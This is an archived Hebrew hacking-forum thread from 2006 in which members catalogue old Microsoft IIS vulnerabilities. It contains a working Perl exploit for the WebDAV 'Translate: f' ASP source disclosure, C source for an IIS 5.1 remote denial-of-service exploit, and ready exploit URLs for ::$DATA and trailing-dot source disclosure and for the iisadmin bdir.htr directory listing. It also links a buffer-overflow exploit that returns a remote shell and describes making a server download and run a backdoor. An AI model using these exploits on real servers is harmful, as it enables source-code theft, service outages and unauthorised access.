Logo

רד-בורד: ארכיון

ראשי > אבטחת מידע > סיקרת באגים ב:Internet Information Server.

02/02/2006 17:29:11 cp77fk4r
הסקירת באגים על הIE לא כל כך הלכה, זאת אומרת, נסקרו די הרבה באגים- אבל רב ההודעות היו שלי ושל AntiVirus אני מקווה שהפעם שאר חברי הפורום יגיבו.

אוקיי, הפעם אני מקווה שזה ילך יותר טוב, הסקירת באגים תהיה בשרת הIIS של מייקרוסופט, כל הגירסאות.

וכמו קודם:

מספר דברים שחובה לציין:
-פרטיו של הבאג.
-דרכי ניצול.
-האם הבאג תקף/לא תקף.

מספר דברים שכדאי לציין:
-שמו של מגלה הבאג.
-באיזה גירסאות הוא היה קיים.
-מתי גילו אותו.
-מקורות.
02/02/2006 17:49:21 cp77fk4r
הבאג הראשון לטופיק זה, יהיה הבאג בWebDAV המוכר.

הבאג נובע מכך שאם שולחים בקשה להצגת ASP/ASA ומוסיפים "translate:f" לHeader של הGET בשאילתת הHTTP, זה מחשיב את זה כחלק מהHTTP ולא כחלק מהURL.

ה"Translate:F" זה חלק מהHeader שמתאים לWebDav שאומר לשרת שאנחנו רוצים לערוך את הקובץ בFrontPage, כשמוסיפים סלאש "/" אחרי ה"Translate:F" זה את הכשל, מפני שהוא מוסיף אותו מהGET לHTTP ולא לURL, כי הוא מגיע אחרי ה"Translate:F"- וייתן לנו לראות את הקוד של העמוד.

הבאג קיים במערכות IIS4.0 שמותקן עליו FP2000.

קוד בפרל שמנצל את הבאג:

קוד:
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&connect;
sub connect {
if ($#ARGV < 1) {
howto();
exit;
}
$ver="GET /$cm%5C HTTP/1.0
Host: $server
Accept: */*
Translate: f
\n\n";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname(’tcp’) || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can’t to send packet: $!";
open(OUT, ">$server.txt");
print "Dumping $cm to $server.txt \n";
while(<SOCK>) {
print OUT <SOCK>;
}
sub howto {
print "type as follows: Trans.pl www.victim.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}


(תודה לr00tsec על הקוד).
02/02/2006 21:15:51 devil kide
אין לי ממש זמן לכתוב כי אעי בפנמיה, אבל אני אשתדל כמה שיותר ללמוד, וללמד.

אז ככה באג זה הינו באג שקיים ב IIS5 גם במערכות שמריצות SP2.
הפגיעה נחשבת כקריטית, משום שהיא יכולה להפיל את השרת שמריץ IIS.
הפגיעה נגרמת ע"י דף מעוות.
הדוגמאות לניצול הפגיעה:
http://[host]/[dir]/.dll/%09~0

בשביל לנצל ת’באג צריך להחליף את תיקיית ה DIRבתיקיה הוירטואלית שברצונך להפיל עשל השרת.
את ה HOST יש לחליף בכתובת הIP של השרת או לחלופיןן בכתובת האתר.
בשביל לעצור ת’ תופעה יש לסנן ת’תויים הבאים :

בכדי למגר את התופעה יש לסנן תווים הבאים:

"~0", "~1", "~2", "~3", "~4", "~5", "~6", "~7", "~8", "~9"


ונעבור לאקספלויט

קוד:
#include <winsock2.h>

#include <stdio.h>

#include <windows.h>

#pragma comment(lib, "ws2_32.lib")



char *HttpHeader(char *pszHost)

{
char szHeader[1000];


wsprintf( szHeader, "POST /_vti_bin/.dll/*/~0 HTTP/1.1rn"

"Content-Type: application/x-www-form-urlencodedrn"

"Host: %srn"

"Content-Length: 0rnrn"

, pszHost

);

return szHeader;

}


int main(int argc, char *argv[])

{
fprintf(stdout, "nnMicrosoft IIS 5.1 Remote D.o.S Exploit by Kozann"

"Bug Discovered by: Inge Henriksenn"

"Exploit Coded by: Kozann"

"Credits to ATmaCA, Inge Henriksenn"

"www.spyinstructors.com - kozan@spyinstructors.comnn"

);

if( argc != 2 )

{
fprintf(stderr, "nnUsage:t%s [WebSiteUrl]nn", argv[0]);

return -1;

}

WSADATA wsaData;

struct hostent *pTarget;

struct sockaddr_in addr;

SOCKET sock;


char szHeader[1000], szWebUrl[1000];


lstrcpy(szWebUrl, argv[1]);

lstrcpy(szHeader, HttpHeader(szWebUrl));


if( WSAStartup(0x0101,&wsaData) < 0 )

{
fprintf(stderr, "Winsock error!n");

return -1;

}

sock = socket(AF_INET,SOCK_STREAM,0);


if( sock == -1 )

{
fprintf(stderr, "Socket error!n");

return -1;

}

if( (pTarget = gethostbyname(szWebUrl)) == NULL )

{
fprintf(stderr, "Address resolve error!n");

return -1;

}

memcpy(&addr.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);

addr.sin_family = AF_INET;

addr.sin_port = htons(80);

memset(&(addr.sin_zero), ’[ההודעה נערכה על-ידי devil kide ב-02/02/2006 21:17:13]
04/02/2006 19:06:47 cp77fk4r
הבאג הבא הוא מסוג Buffer Overflow, והוא קיים על שרתי IIS שמותקן עליהם שירות המדיה- "Windows Media Services" (תוך שימוש בקובץ nsiislog.dll).

השירות WMS מאפשר למשתמש לצפות במידה מהשרת דרך התוכנה Media Player, השרת משתמש בשיטה שקיימת ב ISAPI
(Internet Services Application Programming Interface) בכדי לבצע רישומים של המדיות שנצפו תחת השרת, את מימוש הISAPI שמרו מייקרוסופט בקובץ nsiislog.dll.

הבאג נמצא איפשהו בשנת 2003 והיה נציל אז על כל השרתים מ2000 שהיו משתמשים בפונקצית הרישום הזאת, תיקנו אותו כמה חודשים לאחר שהוא יצא (במאי 2003 אני חושב).

בכדי לנצל את הבאג הקיים ברישום, על משתמש לזייף בקשת HTTP שמציפה את השירות לוג, גורמת לקריסה של הבאפר שבו הוא משתמש ולגרום לשרת להריץ את הפקודות שבבקשה במקום לרשום אותם, כך אפשר לגרום לשרת להוריד לתוכו ולהריץ איזו דלת אחורית או סתם לשלוח אלינו איזה Shell בכדי שנקבל אליו גישה.

לינק למימוש יפה שלfirew0rker (למערכות לינוקס) שמחזיר מעטפת לפורט 34816 (או גבוה יותר אם הפורט בשימוש)

http://www.frsirt.com/exploits/07.01.nsiilog-titbit.cpp.php
04/02/2006 19:24:09 cp77fk4r
עוד באג חמוד שהיה קיים בשרתי IIS בגירסאות 3.0 עד 4.0 שהיה מאפשר לצפות בכל הקודי מקור (Source) של עמודי הASP שעל השרת והוא התפרסם בשנת 1998.

הבאג היה פשוט לזייף בקשת GET רגילה (אפשרי גם דרך הURL!) ופשוט, להוסיף לאחר שם העמוד שאותו רוצים להציג את המחרוזת:

קוד:
::$DATA


המחרוזת שבאה אחרי שמו של העמוד הייתה אומרת למערכת הקבצים שעל השרת (NTFS) שיש כאן שימוש בdata stream שבא מהשרת עצמו ולכן הייתה מציגה למשתמש את קוד הASP של העמוד ולא את פלט הHTML שהעמוד אמור ליצור.


באג דומה, התגלה ע"י החבר’ה מLopht בשנת 1997 והיה פגיע רק בשרתי 3.0, הבאג, היה גם הוא מאפשר לראות את הקודי מקור של עמודי הASP בשרת, ניצול הבאג היה פשוט ביותר- פשוט הוספת נקודה "." (או יותר) אחרי שמו של העמוד.
04/02/2006 23:04:08 Zibi
הבאג התגלה בשנת 2005 הוא קיים בגרסאות 5.0 5.1 ו6.0

הבאג מראה מידע רגיש אם המשתנה "SERVER_NAME" הוא "localhost".בגרסא IIS 5.x,אם יש את הבאג,זה אמור לפלות לנו את הקוד asp של העמוד
(הבאג הספציפי הזה לא פועל על העמוד IIS 6.0 500-100.asp)


דוגמא לניצול הבאג:

קוד:strServername = LCase(Request.ServerVariables("SERVER_NAME"))
strServerIP = Request.ServerVariables("LOCAL_ADDR")
strRemoteIP = Request.ServerVariables("REMOTE_ADDR")
If (strServername = "localhost" Or strServerIP = strRemoteIP) And objASPError.File <> "?" Then
Response.Write Server.HTMLEncode(objASPError.File)
If objASPError.Line > 0 Then Response.Write ", line " & objASPError.Line
If objASPError.Column > 0 Then Response.Write ", column " &
objASPError.Column Response.Write "
"
Response.Write "<font style=""COLOR:000000; FONT: 8pt/11pt courier
new"">"
Response.Write Server.HTMLEncode(objASPError.Source) & "
"
If objASPError.Column > 0 Then Response.Write String((objASPError.Column - 1),
"-") & "^
"
Response.Write "</font>"
blnErrorWritten = True
End If
...
עוד מידע על הבאג:
http://ingehenriksen.blogspot.com/2005/08/remote-iis-5x-and-iis-60-server-name.html



[ההודעה נערכה על-ידי Zibi ב-04/02/2006 23:31:46]
05/02/2006 18:26:49 antivirus
הבאג הבא נתגלה ב- דצמבר 98
ומאפשר גישה לסקריפטים מסויימים בתיקיית האדמין ושליפת מיידע רגיש על השרת כגון שמות התיקיות ומבנם

הפרצה מתבצעת עקב שידרוג לא נכון של שרת iis3 לiis4
הסיבה היא ששרת ה iis3 מגיע עם מספר סקריפטים לשליטה מרוחקת של השרת על ידי האדמין...ואיתם בייחד מערכת זיהוי
בכדי למנוע גישה לא מורשית לסקריפטים
הקובץ האחראי על מניעת הגישה הוא
ism.dll
והבעיה מתחילה בגלל שבשרתי הiis4 הוא לא נמצא.
וכמובן איתו גם הסקריפטים לא נמצאים.
אבל! אם משדרגים את השרת מ3 ל4
הסקריפטים נשארים ורק הism.dll נמחק
מה זה אומר?
זה אומר שיש לנו סקריפטים שמאפשרים גישה מרוחקת לשרת
בלי מערכת שתבדוק מי משתמש בהם...

דוגמא לקוד שמנצל את החור

קוד:http://victim/scripts/iisadmin/bdir.htr??<path>

eg.,

http://www.victim-host.xxx/scripts/iisadmin/bdir.htr??d:\webs

כפי שאנחנו רואים בדוגמא פה
אנחנו ניגשים לתיקיית האדמין..באתר מסויים וניגשים לאחד הסקריפטים שנשארו מiis3 שהוא bdir.htr
ומבקשים לדעת איזה תיקיות ותתי תיקיות יושבות בתוך התיקיה
d:\webs
הסקריפט יתן לנו את הרשימה המלאה והמפורטת...(:
הבאד נתגלה על ידי rain forest puppy
ופורסם לראשונה במגזין Phrack גיליון 54
הבאג תוקן למיטב ידיעתי בשרתי הiis5
עמודים: 1